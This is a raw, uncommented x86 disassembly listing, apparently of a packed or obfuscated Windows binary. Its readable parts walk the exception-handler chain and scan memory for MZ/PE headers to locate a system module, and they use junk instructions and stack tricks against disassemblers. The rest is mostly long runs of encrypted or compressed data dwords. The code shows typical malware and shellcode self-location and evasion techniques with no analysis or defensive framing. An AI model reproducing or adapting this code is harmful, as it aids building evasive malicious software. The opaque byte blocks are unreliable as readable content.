		lea	edx, [ebp+5E836E9h]
		push	edx
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		add	eax, ecx
		sub	eax, 1000h
		mov	esi, [eax+4]
		and	esi, 0FFFF0000h
		cmp	esi, 80000000h
		jbe	short loc_544FD1
		mov	esi, [eax+1Ch]


loc_544FD1:				; CODE XREF: sub_544F62+6Aj
		xor	eax, eax


loc_544FD3:				; CODE XREF: sub_544F62+84j
		cmp	eax, 32h
		jz	short loc_544FF7
		cmp	word ptr [esi],	5A4Dh
		jz	short loc_544FE8


loc_544FDF:				; CODE XREF: sub_544F62+93j
		sub	esi, 10000h
		inc	eax
		jmp	short loc_544FD3
; ---------------------------------------------------------------------------


loc_544FE8:				; CODE XREF: sub_544F62+7Bj
		mov	edi, [esi+3Ch]
		add	edi, esi
		cmp	dword ptr [edi], 4550h
		jz	short loc_545039
		jmp	short loc_544FDF
; ---------------------------------------------------------------------------


loc_544FF7:				; CODE XREF: sub_544F62+74j
		pop	large dword ptr	fs:0
		add	esp, 4
		popa
		retn
; ---------------------------------------------------------------------------
		db 51h
		dd 10244C8Bh, 0B0A981h,	10000000h, 33590000h, 8B51C3C0h
		dd 5510244Ch, 0E8h, 0ED815D00h,	5E836F4h, 36B2858Dh, 818905E8h
		dd 0B8h, 0C033595Dh
		db 0C3h
; ---------------------------------------------------------------------------


loc_545039:				; CODE XREF: sub_544F62+91j
		xchg	eax, esi
		pop	large dword ptr	fs:0
		add	esp, 4
		jnb	loc_545056
		jnb	loc_545056
		or	ebx, 5AA9434Eh


loc_545056:				; CODE XREF: sub_544F62+E2j
					; sub_544F62+E8j
		call	sub_545063
		pop	ds
		adc	eax, edx
		mov	eax, 7E513FDDh
sub_544F62	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_545063	proc near		; CODE XREF: sub_544F62:loc_545056p
		push	esi
		mov	ebx, 196DDF61h
		pop	ebx
		pop	ebx
		mov	bx, si
		mov	cx, ds
		jmp	loc_54508A
; ---------------------------------------------------------------------------
		dw 8978h
		dd 93850AFh, 318A1C1Dh,	8CAE6F4Fh, 0F3E1E286h
		db 97h,	0A5h
; ---------------------------------------------------------------------------


loc_54508A:				; CODE XREF: sub_545063+Ej
		and	cl, 4
		push	0
		push	edi
		call	sub_545098
		and	[edi-3Dh], bl
sub_545063	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_545098	proc near		; CODE XREF: sub_545063+2Dp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_545098	endp

; ---------------------------------------------------------------------------
		dd 0E0C55A16h, 78688E87h, 2810FC8h, 0B3000000h,	0FC90A77h
		dd 3485h, 14E800h, 0F8030000h, 1E03C58Fh, 17B1C380h, 0C0A4A792h
		dd 7D637F70h, 0BB664783h, 0C75BDFA5h, 0E810B985h, 105h
		dd 0DFB70F00h, 10E9h, 9EBB6600h, 0B985C7D4h, 5E810h, 8A000000h
		dd 598589DAh, 0F05E825h, 0B70FDEB7h, 0A98589DEh, 0E805E80Ch
		dd 9, 686EB86Dh, 977ABC58h, 10E9A2h, 768A0000h,	0BBE5F38Fh
		dd 0C81B7861h, 0F28F8FC2h, 0F5E92EAh, 38Fh, 0FB8B6600h
		dd 5FA8C681h, 8B660000h, 17B9BBF8h, 0C18B0000h,	0FCB80E8Bh
		dd 8159050Bh, 37738FC1h, 0FE95667h, 79000000h, 1AE8A93h
		dd 0DF29AF58h, 1BDCC28Fh, 815F281Ch, 4172F4F1h,	0C1B70F7Fh
		dd 0FC69F181h, 0F51040Dh, 584h,	0EF816600h, 68F97BBh, 0EE83F18Ah
		dd 6E903h, 42E20000h, 0B9931663h, 0F5BF664Eh, 1EB81D3h
		dd 0F000000h, 2285h, 3860F00h, 0F000000h, 21E9D1B7h, 3D000000h
		dd 0A9ECDA1Eh, 0A4F9A27Fh, 478B3862h, 5AD43EAAh, 66DF4AABh
		dd 75E9FB8Bh, 0EFFFFFFh, 830ECE4Dh, 700E9h, 0D5852900h
		dd 0F505E831h, 217h, 5E80245h, 8B0F0000h, 1, 18E0FF9h
		dd 0F5000000h, 168D0F60h, 60000000h, 0DE96160h,	5C000000h
		dd 0A615D4BFh, 21A52955h, 6E03D5D9h, 0B861h, 0DE90000h
		dd 0D3000000h, 48C14493h, 0DD286A69h, 0A40D772Fh, 2824548Bh
		dd 14890Fh, 0FE90000h, 0F7000000h, 0C19BB1FFh, 8F20F7F5h
		dd 26DD29FDh, 8589E03Fh, 5E80345h, 21B501h, 3CBE05E8h
		dd 0F000000h, 68Fh, 6D8D8900h, 305E816h, 29242474h, 0E8152DB5h
		dd 0FAD6605h, 680h, 618D8900h, 305E82Bh, 60242444h, 0CE8h
		dd 5E64C00h, 0BB4B74AAh, 0FC1321DFh, 521EBB4Eh,	815B391Dh
		dd 172698CBh, 50F9611Ah, 52505250h, 310F6160h, 8F0Fh, 585A0000h
		dd 850F310Fh, 6, 310F5250h, 585A585Ah, 0F240489h, 1A84h
		dd 148F0F00h, 0E9000000h, 0Fh, 463E8CA6h, 0C8C87195h, 0DACA6649h
		dd 8BC2BBF0h, 10E97840h, 0D7000000h, 0BBA40052h, 3647D786h
		dd 306FD9Ah, 3E364D1h, 89282444h, 0E814C9B5h, 18408B05h
		dd 13CDB529h, 0F4005E8h, 0E81h,	0B58B6000h, 5E81B25h, 1F4D8533h
		dd 896105E8h, 0E838BF85h, 51958905h, 5805E825h,	12E9h
		dd 29317C00h, 0A30378B9h, 0A744D9FEh
dword_545350	dd 3485C9B6h, 8B9A5C25h, 52607870h, 840Fh, 8B580000h, 0C68361FEh
					; DATA XREF: ___:off_442564o
		dd 918D891Ch, 305E822h,	60242474h, 32858531h, 896105E8h
		dd 0E819898Dh, 75BD8D05h, 0E905E811h, 6, 0A9AC5362h, 1AD0D3Fh
		dd 0E82E81BDh, 24440305h, 60ABF924h, 7958D31h, 5E805E8h
		dd 2F000000h, 2FB1EBD0h, 9E9h, 8C4CF500h, 0CAA931FCh, 615E8B33h
		dd 735BD8Dh, 5E905E8h, 3C000000h, 0F28597D3h, 9E9ADh, 0B97B0000h
		dd 34100C8Ah, 395B346h,	60242444h, 0D29B589h, 13E905E8h
		dd 0A3000000h, 0F438751Bh, 4A2CDF90h, 78EAA00Ah, 432BD75Ah
		dd 9061F5FDh, 49B96660h, 0C2BB6064h, 6033C700h,	50616161h
		dd 0B9BE5360h, 5A4E389Ch, 0ABFC9061h, 0A1BD8DF5h, 8905E82Fh
		dd 0E809498Dh, 9D29AD05h, 5E82E69h, 28244403h, 15F1BD29h
		dd 0E9AB05E8h, 6, 0BBF3C53Fh, 0F5E9CE7h, 686h, 0A5BD3100h
		dd 0FF05E827h, 0E838BF8Dh, 0BFBD8305h, 5E838h, 44C71075h
		dd 1C24h, 0B58D0000h, 5E83DB8h,	0AD56E6FFh, 28244403h
		dd 8ADF8B97h, 0E8201585h, 74C08405h, 75073A04h,	0C032574Ch
		dd 5EFD75AEh, 0FC52FB2Bh, 8B49C933h, 33C033D1h,	0C132ACDBh
		dd 0EA8ACD8Ah, 8B6D68Ah, 66EBD166h, 973D8D1h, 50413566h
		dd 49F38166h, 75CEFE54h, 33C833EBh, 0D5754FD3h,	0D1F7D2F7h
		dd 0C0C1C28Bh, 0C18B6610h, 74D03B5Ah, 0C6835E0Fh, 4585FF04h
		dd 0E905E803h, 0FFFFFF6Fh, 13E9F85Eh, 0B0000000h, 0E3CDAA54h
		dd 0B562FBF9h, 4981F62h, 9CE5BA9Dh, 6160E8FDh, 22C99D89h
		dd 858B05E8h, 5E80345h,	0C800Fh, 840F0000h, 6, 831B589h
		dd 0E0D105E8h, 16880Fh,	11E90000h, 0CE000000h, 1980141Fh
		dd 68A80D53h, 0EAF4BA02h, 0DA267E44h, 0FE9h, 79F08800h
		dd 5D1C9E89h, 367D3CAAh, 7C1E87F0h, 2FA18503h, 0BEF905E8h
		dd 0
		dd 0DE99D89h, 13E905E8h, 3C000000h, 5DB623F1h, 0DA5CD0Ch
		dd 0D206CA5Ah, 5805087h, 0F964344h, 687h, 419D8900h, 6605E82Ch
		dd 0BF0F60ADh, 0ACCA81F9h, 6161DEB3h, 0F502E0C1h, 11758503h
		dd 606005E8h, 5E8h, 8BF1B400h, 8B5B8FEEh, 0E82D8985h, 60616105h
		dd 6160F860h, 0D7BA6661h, 319661FFh, 0E820C59Dh, 820FAD05h
		dd 7, 8AF38060h, 8B61CA8Bh, 0F524244Ch,	24244403h, 7E9h
		dd 0F1080A00h, 6F4817B7h, 1C244489h, 0ACF596F8h, 0D18B6660h
		dd 0EF63BA66h, 29C93261h, 0E80511B5h, 60C1FE05h, 7F2CD181h
		dd 0E96176C4h, 0Bh, 1BC3A259h, 0D5BECC55h, 0D0C80C42h
		dd 0BE830FD0h, 0F9000000h, 830FD0D0h, 0B5h, 6E9F9h, 0AFD60000h
		dd 0BE3BBBA7h, 820FD0D0h, 0A1h,	242DBD89h, 0D0D005E8h
		dd 93820Fh, 810F0000h, 1, 0FC9FEF9h, 0FFFFBE89h, 0F08060FFh
		dd 1B5892Fh, 6105E825h,	8920C483h, 0E8255195h, 2444C705h
		dd 0FCh, 13E900h, 0A4350000h, 2C3B319Eh, 3D253766h, 0A1672D0Ch
		dd 0D0210A55h, 6860F4Dh, 89000000h, 0E82FC59Dh,	1B805h
		dd 13E90000h, 0D8000000h, 0FEE6E775h, 78355A26h, 451458Fh
		dd 0F3E692C4h, 8D8D3C12h, 5E87200h, 3285BD29h, 0EE905E8h
		dd 5D000000h, 26B7CA75h, 49099CB1h, 0AC047915h,	1E1FFC8h
		dd 0E82CDD95h, 1585C605h, 5E820h, 0D958960h, 0E905E803h
		dd 0Dh,	15B26878h, 7294FFF4h, 0C2063A82h, 96161EDh, 0E80BDD9Dh
		dd 8C205h, 0AE9h, 0ABEFB00h, 443C43DCh,	50BFD858h, 68A0Fh
		dd 60600000h, 61A7B561h, 0F9243489h, 2B658501h,	0B58905E8h
		dd 5E83F7Fh, 341B589h, 0EE905E8h, 77000000h, 5D24B3A7h
		dd 4784D022h, 0C9373A1Dh, 8A8D8974h, 0F905E83Fh, 3E60B58Dh
		dd 5E905E8h, 0DD000000h, 48AC84D7h, 7E35858Dh, 8D89005Bh
		dd 5E81415h, 0FCD0FFF9h, 7DB58960h, 6105E820h, 89C3F95Eh
		dd 0E81B15BDh, 7FB58B05h, 2905E83Fh, 0E82E0D9Dh, 8A8D8B05h
		dd 0F05E83Fh, 1281h, 0DE900h, 3DF20000h, 50FFD0A3h, 0D690B5A8h
		dd 2B7463E8h, 0D98BF9C0h, 13FD8D89h, 14E905E8h,	0F0000000h
		dd 0A1895216h, 58AD2567h, 0AEE30CCBh, 2E065E78h, 0E91CB016h
		dd 0B9h, 11E9h,	98504F00h, 0DC4E382Fh, 24765127h, 0F66F47F6h
		dd 2632ABA8h, 2459589h,	2B205E8h, 91BD8B60h, 8105E829h
		dd 15C78C8h, 49E9614Fh,	0E9000000h, 9, 792F3FFBh, 8BE9A93Eh
		dd 31C23206h, 0E819798Dh, 1D7A0505h, 95898A75h,	5E8262Dh
		dd 0D3FCCC8Ah, 816660C8h, 0E99026EEh, 0Eh, 0F3B6417Dh
		dd 8F934CE2h, 0A557D236h, 3561134Fh, 98D10842h,	0F5CAFEF9h
		dd 850FD20Ah, 0FFFFFFBDh, 1F99BD29h, 14E905E8h,	19000000h
		dd 0A5D95120h, 813F8D91h, 17D2F689h, 39548BDh, 4B45D8AEh
		dd 2FC59D89h, 8E905E8h,	20000000h, 0E862B4CBh, 461C1C4Fh
		dd 0FDB0BF8h, 0FFFF5585h, 0C68160FFh, 39B08E80h, 0F9CF61FCh
		dd 0B5890000h, 5E83125h, 0F80000h, 8D096000h, 5E81B51h
		dd 9E9h, 4DDDE600h, 3724BD9Bh, 6061C183h, 134DBD31h, 0B58B05E8h
		dd 5E821C1h, 1000061h, 0E821F195h, 0D7858D05h, 0E905E838h
		dd 0Fh,	572685D3h, 0FAD10159h, 680B3A39h, 896DB58Fh, 0E8162D85h
		dd 0DE905h, 4E1F0000h, 38E119h,	3B18EE0Ah, 8D533925h, 0E83DF285h
		dd 29B58905h, 8905E80Ch, 0E80C3585h, 0CE805h, 0BB670000h
		dd 0ACF5F4FBh, 0D5DB7DEBh, 858BE95Dh, 5E82E45h,	0BD85895Bh
		dd 8105E80Ch, 5C99C3h, 4DBD8900h, 2B05E80Ch, 6D8523C9h
		dd 0FF05E828h, 43BE1934h, 5F0C17BCh, 8F18D29h, 0C78105E8h
		dd 0EC720B5h, 0C895B866h, 0FCC4F781h, 0B58B23F6h, 5E81301h
		dd 0A8ADC781h, 57F96D1Fh, 8FC2B70Fh, 66F50B04h,	0E981C18Bh
		dd 2C285827h, 5823C181h, 0BF0F2C28h, 0E8F981D1h, 0FFFFFA3h
		dd 0FFFFAE85h, 959589FFh, 0EB05E814h, 14h, 3 dup(0)
		dd 8B00h, 4B858D00h, 8905E841h,	0E80D6D85h, 94BD8305h
		dd 5E840h, 11A840Fh, 85C60000h,	5E82015h, 0D1306856h, 4815561h
		dd 0BD9C0924h, 59B5FF7Eh, 8D05E825h, 0E838D785h, 89D0FF05h
		dd 0E8408885h, 1585C605h, 5605E820h, 0DA563968h, 243481E5h
		dd 7972EE6Bh, 2559B5FFh, 858D05E8h, 5E838D7h, 8589D0FFh
		dd 5E8408Ch, 0D168046Ah, 817CC3C7h, 0D7D12434h,	858B7CC3h
		dd 5E84098h, 1F405h, 2E0C100h, 24048950h, 95FF006Ah, 5E8408Ch
		dd 40908589h, 0D88B05E8h, 0FFFFFFB8h, 6D95FFFFh, 8B05E80Dh
		dd 6D95FFC3h, 0E905E80Dh, 84h, 4094BD83h, 0F0005E8h, 185h
		dd 8B57C300h, 0E84090BDh, 8583AB05h, 5E84090h, 83C35F04h
		dd 0E84094BDh, 850F0005h, 1, 0AD8360C3h, 5E84090h, 909D8B04h
		dd 8305E840h, 0FFFFC7Bh, 1D85h,	0DDAC6800h, 481C5B2h, 4DA25424h
		dd 0FF006A3Ah, 8895FF33h, 6105E840h, 1DE9C3h, 4E680000h
		dd 812DFCD7h, 574E2434h, 6A2DFCh, 95FF33FFh, 5E84088h
		dd 4090AD83h, 0E90405E8h, 0FFFFFFB1h, 1ADE948h,	8B600000h
		dd 8B242474h, 0FC28247Ch, 68A80B2h, 47078846h, 2BBh, 0FD20200h
		dd 585h, 46168A00h, 830FD212h, 0FFFFFFE2h, 850FD202h, 5
		dd 1246168Ah, 6A830FD2h, 33000000h, 0FD202C0h, 585h, 46168A00h
		dd 830FD212h, 12Ah, 850FD202h, 5, 1246168Ah, 2C013D2h
		dd 5850FD2h, 8A000000h,	0D2124616h, 0D202C013h,	5850Fh
		dd 168A0000h, 13D21246h, 0FD202C0h, 585h, 46168A00h, 0C013D212h
		dd 6840Fh, 2B570000h, 5F078AF8h, 0BB470788h, 2,	0FFFF70E9h
		dd 1B8FFh, 0D2020000h, 5850Fh, 168A0000h, 13D21246h, 0FD202C0h
		dd 585h, 46168A00h, 820FD212h, 0FFFFFFDEh, 1BBC32Bh, 0F000000h
		dd 3485h, 1B900h, 0D2020000h, 5850Fh, 168A0000h, 13D21246h
		dd 0FD202C9h, 585h, 46168A00h, 820FD212h, 0FFFFFFDEh, 2BF78B56h
		dd 5EA4F3F5h, 0FFFF08E9h, 0E0C148FFh, 46068A08h, 1B9E88Bh
		dd 2000000h, 5850FD2h, 8A000000h, 0D2124616h, 0D202C913h
		dd 5850Fh, 168A0000h, 0FD21246h, 0FFFFDE82h, 7D003DFFh
		dd 830F0000h, 22h, 5003Dh, 0E820F00h, 41000000h, 2BF78B56h
		dd 5EA4F3F0h, 0FFFEB4E9h, 7FF883FFh, 3870Fh, 0C1830000h
		dd 0F78B5602h, 0A4F3F02Bh, 0FE9BE95Eh, 68AFFFFh, 0C0C93346h
		dd 840F01E8h, 17h, 8B02D183h, 0F78B56E8h, 0A4F3F02Bh, 1BB5Eh
		dd 76E90000h, 2BFFFFFEh, 8928247Ch, 611C247Ch, 0BA0008C2h
		dd 929h, 9D3E9h, 0FDFA4400h, 4819928Ah,	614228F9h, 0D223EC29h
		dd 0CF31CA70h, 45338A3Bh, 0F2C124E0h, 0B3D4019Bh, 0FDDC1987h
		dd 445B9987h, 33553AF1h, 0D531FD7Ah, 0A07AC535h, 4F39FA58h
		dd 0FEC039F4h, 0B1D401C9h, 0FDDF1681h, 5B5B8387h, 334A20ECh
		dd 0CE2FE164h, 0CB74D122h, 5875CE3Bh, 0B3D139F0h, 0A49A009Bh
		dd 0FDC90281h, 5A14859Eh, 3D4A2EECh, 63h dup(0)
		dd 0FDFA4400h, 54159883h, 335520EAh, 0C62DF679h, 8A39C922h
		dd 0A26CB3Dh, 0BCC02FF7h, 0A8D512C9h, 0AF9B1380h, 5415999Bh
		dd 7A0728F0h, 0CE3BA467h, 0D974DA25h, 4F21D92Ch, 0DFAF64F8h
		dd 0BCDF18B9h, 0FD97129Dh, 5217999Bh, 7A072BFFh, 0D324A47Dh
		dd 0C774C53Fh, 583AC730h, 0BCC46AECh, 0B8C8548Dh, 0AFDA039Dh
		dd 5202D79Ah, 63073DEBh, 0D325EB7Bh, 7AC531h, 48h dup(0)
		dd 0FDFA4400h, 5E1A858Dh, 34552AF5h, 0CE36A47Ah, 0C274C43Fh
		dd 4875D934h, 0F2CB2FF0h, 0B3CF1B8Fh, 0A8C9578Ah, 53129980h
		dd 7D4E6FF9h, 0D42DFD29h, 0D3278822h, 4730DE26h, 82A840BBh
		dd 0AEDB1185h, 0A89B5B8Bh, 5C149B80h, 674E6FFAh, 0CE30E229h
		dd 0CF39883Dh, 5327C538h, 0B6CB2BB5h, 0AEDF06C9h, 0A9C9169Ah
		dd 48148ECEh, 61576FECh, 0C030E366h, 863Dh, 61h	dup(0)
		dd 0B4FD4400h, 5E5B9282h, 66553DF1h, 0C527F079h, 0FE748671h
		dd 0A26C33Dh, 0B5CA38E5h, 0FDD7159Bh, 0FDC81686h, 531E928Ch
		dd 7D4622BEh, 0CD37F460h, 0CE31DC31h, 4E3BCB75h, 0ABC427B5h
		dd 0D0B0118Bh, 0AE9C0387h, 5B159ECEh, 76532CFBh, 0D820A46Dh
		dd 0FC74C970h, 5920D83Ch, 0F2D725B5h, 0BEDB068Ah, 0F3DF1285h
		dd 5413A3CEh, 7A416FEDh, 0D662E165h, 0DE73C63Fh, 583ADD75h
		dd 0BCC46AFEh, 0AFD51990h, 598Bh, 0E0h dup(0)
		dd 4E4C5700h, 4C446D75h, 7250734Ch, 3000746Fh, 8 dup(0)
		dd 45000000h, 20746978h, 74617453h, 3D207375h, 642520h
		dd 2 dup(0)
		dd 2E56E9h, 0B9B58900h,	0FC05E832h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 15h, 0F3C35646h,	0FE9D7h, 22A10000h
		dd 87B46EACh, 0C88D9052h, 0C39B4B14h, 0EE960A2h, 77000000h
		dd 0D6F07F87h, 2C9CD08h, 0C18BA211h, 25958BC5h,	6105E819h
		dd 7E9C08Bh, 0C0000000h, 0B7341FAEh, 0D18AF660h, 0E89BD83h
		dd 750005E8h, 0E9BD8309h, 5E80Bh, 53501374h, 1B8C08Bh
		dd 8D000000h, 0EAA7F09Dh, 5BD3FF05h, 0E9BD8358h, 5E80Bh
		dd 53501174h, 1B8h, 0A19D8D00h,	0FF05EAA6h, 0F585BD3h
		dd 1F8Bh, 13E800h, 0A3800000h, 30867A65h, 2FA7A37Ah, 42210CF1h
		dd 810F8B60h, 3D9D8BF9h, 5A05E81Bh, 6E9h, 7490C300h, 8B330579h
		dd 998589C0h, 6605E810h, 83FD0FBBh, 0E8135DBDh,	840F0005h
		dd 152h, 6655CB80h, 8331ADBAh, 0E81B09BDh, 840F0005h, 13Eh
		dd 0EE9h, 9E427F00h, 0FFAF3E07h, 0F4D25539h, 60703542h
		dd 6D99BA66h, 1B09858Bh, 0CE905E8h, 5D000000h, 1EC18223h
		dd 966262B6h, 56A1B22h,	3E8h, 2D29958Bh, 669005E8h, 50DFE9BAh
		dd 61606053h, 5B616160h, 8DDE8A90h, 0E84D4685h,	0FEBA6605h
		dd 0D78B5074h, 6A240489h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 0DDDDC352h,	0AB5278B2h
		dd 8DC4F982h, 0E84D2485h, 57006A05h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 9586993Bh
		dd 60A06031h, 0FE939h, 0E8C60000h, 411F2133h, 13396540h
		dd 63341B34h, 0D2B70FE0h, 14E950h, 0C5820000h, 0E14C5818h
		dd 48095D35h, 0E7D8F0A1h, 0F2432A13h, 4890776h,	0D6B70F24h
		dd 0DB195FFh, 1AB305E8h, 660CC483h, 2586EB81h, 4D24858Dh
		dd 7E805E8h, 0BC000000h, 982CF574h, 0BB66E78Bh,	905AE684h
		dd 10E853h, 0ED8C0000h,	3E4A2831h, 6D2E3F74h, 0E152FE7Ah
		dd 0F18AF343h, 8B505A5Bh, 0D78090D8h, 0B026AD1h, 0E810159Dh
		dd 7495FF05h, 29006885h, 0E803519Dh, 85C76105h,	5E84D57h
		dd 1, 50FE8AF5h, 89D08B66h, 9D892434h, 5E819EDh, 6E8h
		dd 3750B400h, 66C6CDDFh, 4EB2CB81h, 8B5895Bh, 6A05E84Dh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 0F573C355h, 7F17D451h, 52BB85C0h,	8330C3E6h
		dd 0E810B9BDh, 850F0105h, 6Bh, 68F0Fh, 85890000h, 5E82141h
		dd 0F05F883h, 5685h, 55006A00h,	3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1904h, 0C3554500h, 56ABE67Ah, 0B8C952h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 804C352h,	0AD3C7ABBh, 27C05149h, 30719D09h
		dd 2ABB05E8h, 83123F64h, 0E80DA5BDh, 840F0005h,	17h, 0BC99D31h
		dd 0B805E8h, 0F000000h,	68Eh, 7DBD2900h, 6005E819h, 0DB99533h
		dd 858B05E8h, 5E8133Dh,	2D8D9D8Bh, 0F6005E8h, 280h, 61F88B00h
		dd 0F502C083h, 4D008589h, 6E805E8h, 27000000h, 0B2584EDCh
		dd 0DE8B66A5h, 0FF00C65Ah, 0C85958Bh, 0E78005E8h, 1585C662h
		dd 5305E820h, 6E9h, 0F705C500h,	0E8BF37B0h, 4, 0FCB148D8h
		dd 50D38B66h, 0D38B5250h, 0BA66310Fh, 585A3B7Dh, 424448Bh
		dd 0D88A008Bh, 4244489h, 6820F60h, 0F000000h, 8Ch, 0E9586100h
		dd 0Eh,	7563F7FEh, 5B94CF0h, 42612573h,	0FFFCE020h, 0E80CA9B5h
		dd 52006A05h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 0FC4103F6h, 0D68B6694h, 9BAA3CBBh, 87BB665Bh
		dd 30858D1Fh, 6605EB7Bh, 964EF281h, 0B70FD0FFh,	0F98589D2h
		dd 3105E820h, 0E80A69BDh, 31BD8305h, 105E833h, 11D850Fh
		dd 0FC530000h, 6A615Ah,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 1ACF38C3h, 0B33186FDh, 85C6CE0Eh
		dd 5E82015h, 19BB6645h,	0D2B70FAFh, 4E8h, 6038C200h, 0EE860DAh
		dd 29000000h, 0A0E49E61h, 0E25E7C44h, 0D9299189h, 850FCDh
		dd 5F000000h, 830F56h, 58000000h, 66605061h, 0FFF29BFh
		dd 287h, 61D88B00h, 424448Bh, 11E9h, 46CF1400h,	0D3F0A2D4h
		dd 8B3AB9CBh, 0A9E54939h, 8B98E6h, 44899AB3h, 50500424h
		dd 11E952h, 6A4A0000h, 0C4A8898Bh, 465B27F6h, 0FEF7B3E8h
		dd 0F678CC5h, 0FE931h, 1CE50000h, 0CD8681B2h, 0FBBB6707h
		dd 0EBACF5F4h, 5B585A7Dh, 0EA816658h, 0B5FF96CDh, 5E80CA9h
		dd 7B30858Dh, 0CE805EBh, 3D000000h, 0F1DB99C6h,	8ED1CD00h
		dd 8BFEDFD2h, 0E829D99Dh, 810F5A05h, 9,	3870Fh,	0BF0F0000h
		dd 8BD0FFDEh, 0E812B99Dh, 6AF505h, 4CE28166h, 0B19D8916h
		dd 0FF05E820h, 4D8589D0h, 8305E828h, 0E82D2DBDh, 850F0105h
		dd 74h,	11E9h, 29B53300h, 0C70A4B45h, 0F46FB5A1h, 0FAC8C389h
		dd 858B14FAh, 5E8133Dh,	8A58D89h, 35E905E8h, 0B7000000h
		dd 358D890Fh, 9005E80Eh, 0BCD18BBAh, 0FFBA5069h, 900480D1h
		dd 0CCCCD6BBh, 6AD68B43h, 0AD9D8B14h, 0FF05E81Bh, 0E820F995h
		dd 0F63CBA05h, 0BA586A0Dh, 0DF8C717h, 0F003880h, 0FFFFCA85h
		dd 19B589FFh, 0C605E80Ch, 0BD890100h, 5E80BFDh,	9E961h
		dd 0A9990000h, 0E15873A2h, 83FA8EC9h, 0E819ADBDh, 840F0005h
		dd 2Eh,	89C3EA80h, 0E80F198Dh, 89FF6A05h, 0E813BD95h, 0E5B58905h
		dd 0FF05E81Ah, 0E820F995h, 0B9BD2905h, 0E905E806h, 0FFFFFFE1h
		dd 8118D29h, 85C705E8h,	5E819ADh, 1, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 16h, 0ABC35747h,	9D2B026Ah, 5E82FC5h
		dd 1A759D8Bh, 858905E8h, 5E84D0Ch, 19859D01h, 509005E8h
		dd 0FD88B52h, 8E831h, 0F6E80000h, 0DB42AA63h, 5A569700h
		dd 50585A5Ah, 58535660h, 0C8D0F5Fh, 0E9000000h,	7, 0AAAF433Dh
		dd 6125B356h, 0C5958B90h, 6005E827h, 3DBD8B60h,	8B05E80Ch
		dd 0E828218Dh, 0BA666105h, 56A7074h, 318D8952h,	5B05E811h
		dd 4D24858Dh, 6A05E8h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 0A6F516C3h, 0BE835h, 0B7510000h
		dd 662F2F7h, 5F99C23Ah,	0FD29BBE1h, 505B2FA3h, 0CB5856BBh
		dd 24048944h, 0CE9h, 4F4F9100h,	1E27839Dh, 10620C9Ch, 14858D8Ah
		dd 6605E84Dh, 5090D18Bh, 0F310F52h, 287h, 5A616000h, 6A905058h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 5385C350h, 89A10BF9h, 0E81EE99Dh,	8195FF05h
		dd 8B05E819h, 0E822519Dh, 638D8D05h, 6A05E87Bh,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
		dd 673BC356h, 0E98CC7EFh, 81A6EE70h, 534039F3h,	12E931h
		dd 481D0000h, 26DA98F5h, 542166FEh, 0ACF1CF55h,	4114AEA7h
		dd 1174C00Bh, 4D24858Dh, 0FF5005E8h, 428589D1h,	0EB05E84Dh
		dd 4285C70Ah, 0FF05E84Dh, 9FFFFFFh, 0E81999BDh,	9D8B6105h
		dd 5E82429h, 201585C6h,	6A4D05E8h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0AE0EC352h
		dd 30B172FDh, 6660F0FFh, 6CC1D181h, 416861FCh, 50FFEAB7h
		dd 1426BB52h, 310F3563h
		dd 585AFC8Ah, 0E9243481h, 895BDFC1h, 0E81C29BDh, 0BDB5FF05h
		dd 6005E819h, 6DB58960h, 6605E819h, 84D9D881h, 61CF8B61h
		dd 7B30858Dh, 816605EBh, 0FFA6A5CAh, 5E9D0h, 0EC630000h
		dd 89448180h, 0E8090D85h, 53006A05h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 0C78037BFh
		dd 1585C609h, 4505E820h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 15h, 22C35040h, 693968CAh,	34819DA5h, 0D7005024h
		dd 53006A13h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 73B1C71Ah, 0F7DFA111h, 0DE9CB0Ah, 0B000000h
		dd 0F18BF256h, 7184CA50h, 0FBC93409h, 0CA9B5FFh, 6A05E8h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 946B63C3h, 669C219Eh, 8D860EBBh, 0EB7B3085h,	50006A05h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1404h, 0C3504000h
		dd 0E8D0FF23h, 0Eh, 8494390Ch, 7ADC938Bh, 0D60656B7h, 8B661756h
		dd 85895AD8h, 5E80C79h,	226D9D8Bh, 0D28B05E8h, 47BBDE8Bh
		dd 662639A1h, 0FE9D98Ch, 0F2000000h, 2E132B47h,	0DB8E98F9h
		dd 91E844CCh, 0C1F6F9FAh, 8B840F04h, 0E9000002h, 7, 1B358FE8h
		dd 0E99F02D7h, 11Eh, 32B86660h,	0FABF0FE3h, 0D1B58B61h
		dd 5705E822h, 5880Fh, 81660000h, 5AFBBBEBh, 1180C681h
		dd 95230000h, 5E81379h,	12D5BD83h, 0F0005E8h, 785h, 0E9F18A00h
		dd 0CAh, 0F003E83h, 0C184h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 27DC4E38h
		dd 2DA1BA60h, 146A6156h, 4276BA53h, 0FF5A3431h,	0E820F995h
